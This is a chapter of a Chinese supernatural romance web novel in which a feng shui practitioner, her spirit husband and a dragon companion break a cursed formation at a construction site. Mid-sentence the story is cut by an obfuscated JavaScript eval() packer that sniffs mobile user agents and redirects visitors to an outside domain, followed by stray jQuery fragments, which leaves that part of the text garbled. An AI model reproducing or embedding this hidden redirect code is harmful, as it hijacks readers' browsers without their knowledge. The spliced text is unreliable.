52. 龙骨风水局(四)
作品:《和鬼君的婚后日常》 晨光漫过老宅檐角的貔貅石雕,林知夏蹲在天井的鱼池旁撒鱼食。水面倒映着银漪正趴在廊柱上啃柿饼的身影,少年模样的黑蛟将糕点碎屑抖得满台阶都是,将不拘小节展现的淋漓尽致。
“小满说这是他家树上结的冬柿,之前你还嫌弃,现在倒是都进你嘴里了。”林知夏将最后一把鱼食抛进池中,红鲤甩尾溅起的水花惊飞了银漪头顶的麻雀。
银漪鼓着腮帮子含混道:“我替嫂子试毒呢!这柿饼里掺了雄黄粉,定是有人要害你!”
“雄黄驱蛇虫本是常事,”宴清从月洞门转出,玄色唐装衣摆扫过青苔,“倒是你,化形三日便胖了两圈,不如现原身去池子里泡着减减膘。”
银漪闻言噎得直捶胸口,林知夏忍着笑递过青瓷茶盏:“别听他吓唬你,张家工地的事还得指望你呢。”
这话倒是不假。昨天夜里他们重返施工现场,发现镇河铁牛底座渗出的暗红锈水竟在泥地上汇成反八卦。银漪用蛟尾扫开浮土时,赫然露出埋在地下的七盏续命灯残骸——灯油里混着人骨灰,灯芯则是未足月婴孩的脐带。
“续命局叠着锁蛟阵,难怪这些年地脉越来越乱。”宴清冷笑,“张家人倒是聪明,请了三个风水师来看过,都说要做法事超度亡魂。”
林知夏翻看着手机里刚收到的转账记录,张家老爷子倒是爽快,五十万定金已经到账:“超度亡魂是真,修补地脉才是关键。银漪,你今晚得跟我去跳傩戏。”
“什么戏?”少年模样的黑蛟差点从栏杆上栽下来,“我堂堂洞庭水君……”
“洞庭水蛇还差不多。”宴清弹指将幽冥火凝成傩戏面具扣在他脸上,“三百年前你醉酒现形,被渔夫当成水蛇泡了药酒的事……”
“大哥!!”银漪急得鳞片都要炸出来了,“说好不再提这茬的!”
林知夏噗嗤笑出声,檐角铜铃突然无风自动。她摸出罗盘,磁针直指东北方:“张家来人了。”
话音刚落,前院传来周小满结结巴巴的通报声。林知夏让他把人带过来,不多久身穿灰色中山装的张老爷子步履蹒跚的迈进垂花门,身后跟着两个抬樟木箱子的跟班。
双方见面,短暂寒暄。
“林大师,这是祖上留下的鲁班尺。”老者示意伙计开箱,紫檀木盒中躺着的青铜尺泛着幽幽青光,“昨晚按您的吩咐在工地四角埋了桃木钉,今早工人说……”
“说听见铁链响?”林知夏截过话头,指尖拂过尺面殄文,“不是让你们子时前撤离吗?”
张老爷子擦着冷汗点头:“确实按您说的做了,但值夜的老王头非说看见个穿戏服的少年在工地来回走动。”
银漪突然剧烈咳嗽起来,宴清脚步微挪挡住他心虚的表情:“无妨,是阵中残存的煞气化形。”
林知夏瞥了眼快把脸埋进柿饼筐的黑蛟,强忍笑意。
昨晚他们待在宴清结界里隐形挺好的,银漪中途跟宴清闹别扭出了结界范围,就这么巧让人给瞧见了。
张老爷子看向气场强大,俊美无双的陌生男子,终于找到机会询问,“这位是……”
“我先生,”林知夏将话接过来,“今晚子时行祭,还需张老准备三样东西——白公鸡、陈年糯米、以及……您家长孙的胎毛笔。”
老者脸色骤变,放在两侧的手背青筋暴起:“林大师这是什么意思?”
“您家祖上借什么发家就不提了,如今阵法反噬首当其冲便是长子长孙。”宴清变为黑色的瞳孔扫过樟木箱中的族谱,“若我猜得不错,令郎近来应当夜夜噩梦缠身吧?”
这话仿佛一记重锤,张老爷子踉跄着扶住影壁。林知夏适时递上热茶:“解铃还须系铃人,胎毛笔沾染先天之气,最适合做超度法事的媒介,你放心,不会伤到孩子。”
等张老头心事重重走了,银漪不屑的哼哼,“这老头真蠢,不是不报时候未到的道理都不懂,真以为人类术士能斗过天命,真是可笑!”
林知夏搭上宴清递来的手,语气淡淡,“不是不懂,只是心存侥幸罢了。”
银漪一蹦一跳的跟过来,“大嫂,你呢,心存侥幸吗?”
林知夏侧头看他,不躲不避,“得之我幸,失之我命,我亦心存侥幸。”
银漪呵呵冷笑,“你林家……”
“住嘴!”宴清打断他。
银漪委屈的撇撇嘴,“行行行,我住嘴,反正你被迷了心,我说什么你也听不进去!”
见黑蛟气呼呼走了,林知夏看向宴清,宴清指尖在她嘴角戳了一下,“看我作甚?”
林知夏:“你都告诉他啦?”
宴清嗯,“瞒不住。”
林知夏:“他会不会一不小心背刺我一刀啊?”
宴清轻弹她脑门,“我已让他立誓,娘子勿忧。”顿了顿,“银漪虽孩子气,却很重誓言,他知我心悦你,不会害你。”
林知夏笑笑,刚想抱一下,结果陈延之这时走进来,招招手,“小夏,你跟我过来,我有话问你。”
林知夏没动,“师兄你有话就在这里问吧,宴清不是外人。”
陈延之深呼吸,“……刚才走的那个老先生是不是找你办事?”
林知夏以为他要问银漪,没想到问的是张老头,大眼眨巴一下,言简意赅,“那肯定的呀,他工地最近不太平,找我做场法事。”
陈延之:“那人乌云罩顶,面相极差,你糊涂了,与他牵扯什么!”
林知夏:“师兄,我心里有数。”
见二师兄被自己气走了,林知夏有些无奈,跟宴清抱怨,“他最近怎么动不动就生气?以前我二师兄最没心没肺,人特敞亮,完全不拘小节,轻易不生气的,也不知道怎么回事,从回到老宅他好像就没对我和颜悦色过。”
宴清:“更年期?”
林知夏白他一眼,想起问,“我师兄怎么不问我银漪的事?”
宴清轻描淡写,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611037|166151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将银漪身上的妖气遮掩了,在旁人眼中他只是人类。”
林知夏:“那我怎么……?”
宴清在她鬓边落下一吻,“娘子又非旁人。”
***
暮色染红工地围挡时,银漪正蹲在塔吊顶端啃烧鸡。林知夏在下方摆弄二十八盏莲花灯,宴清握住她冻得通红的手:“这种粗活让银漪来做便是。”
“算了吧,这种细活还是我来……”林知夏话音未落,幽冥火已顺着两人交握的掌心蔓延,暖意瞬间驱散寒气。她望着地上逐渐成型的北斗阵,突然想起什么:“当年锁龙井的工匠,是不是都不得善终?”
宴清将她的碎发别到耳后:“娘子可知‘九龙压棺’?林家先祖为保阵法稳固,曾将九名属相龙的工匠活埋在井眼处。”
阴风卷着沙砾掠过钢筋,林知夏后背窜起凉意。正要细问,银漪突然从高空坠下:“来了来了!东南方三里外有阴兵借道!”
话音刚落,地面突然腾起黑雾。林知夏的罗盘脱手飞出,悬在半空拼出个“祭”字。宴清将她护在身后,幽冥火顺着地缝烧出九宫格:“果然还藏着炼魂阵。”
数十具缠着锁链的骷髅从续命灯残骸中爬出,黑洞洞的眼窝里跳动着幽蓝磷火。银漪现出蛟尾横扫过去,却在触及骷髅时被反震回来:“这些骨头上被下了咒术!”
“用我的血破阵!”林知夏正要划破手腕,却被宴清攥住手训斥:“胡闹!”他指尖在自己掌心一划,暗金血珠顺着龙纹渗出,“用为夫的。”
血珠触及地面的刹那,整座工地剧烈震颤。骷髅发出尖啸,却在龙威中寸寸成灰。银漪趁机喷出本命寒雾,将试图重组的地脉阴气冻成冰碴。
“乾坤倒转,阴阳归位!”林知夏甩出五帝钱钉住阵眼,雷击木尺重重劈向铁牛底座。青铜碎裂声里,半截暗金脊骨破土而出,想要没入她指间墨玉戒,却被宴清幽冥火直接裹住,顷刻焚烧殆尽。
银漪同时尾巴一扫,拍碎了那数十骷髅!
超度法事持续到东方既白。当最后一张往生符燃尽,工地弥漫的腥气终于消散。张家长孙的胎毛笔在晨曦中化为灰烬,一缕青烟掠过林知夏鬓角,依稀是个作揖的老者模样。
张老头应死在骷髅消灭时。
林知夏并不惊讶,他原本就命不久矣,手腕上的暗青痕迹不是诅咒,是怨。
当怨气达到一定数值,会在恶人身上露出痕迹,比如最常见的人面疮。张老头手腕上的怨气痕迹不是很明显,不是因为他作恶少,仅仅因为他身上法器太多,有保命的手段,所以一次次死里逃生,直至逃无可逃。
“这就完了?”银漪瘫在水泥管上啃第七个茶叶蛋,“我鳞片都蹭掉两块……”
宴清:“再抱怨,饿你三天。”
银漪:“……”
回程的越野车上,林知夏正翻看之前张老头送的鲁班尺。宴清突然握住她手腕:“莫看了,比不上你手里的雷击木尺。”